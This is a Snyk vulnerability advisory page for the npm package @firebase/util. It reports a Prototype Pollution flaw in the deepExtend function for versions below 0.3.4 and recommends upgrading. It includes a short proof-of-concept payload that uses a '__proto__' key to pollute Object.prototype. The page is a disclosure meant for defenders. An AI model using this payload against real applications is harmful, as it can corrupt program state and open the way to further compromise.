@firebase/util@0.3.4-canary.89a4f6429 vulnerabilities

_NOTE: This is specifically tailored for Firebase JS SDK usage, if you are not a member of the Firebase team, please avoid using this package_

  • latest version

    1.13.0

  • latest non vulnerable version

  • first published

    8 years ago

  • latest version published

    3 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the @firebase/util package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    @firebase/util is a wrapper of some Webchannel Features for the Firebase JS SDK.

    Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the deepExtend function within the DeepCopy.ts file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

    PoC

    const util = require('@firebase/util');
    var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
    
    const a = {
        nest: {
          number: 1,
          string: '1',
          object: { key: '1' },
          date: new Date(1),
          nest: {
            a: 1
          }
        },
      };
    
    var result = util.deepExtend(a,payload);
    console.log({}.polluted);
    

    How to fix Prototype Pollution?

    Upgrade @firebase/util to version 0.3.4 or higher.

    <0.3.4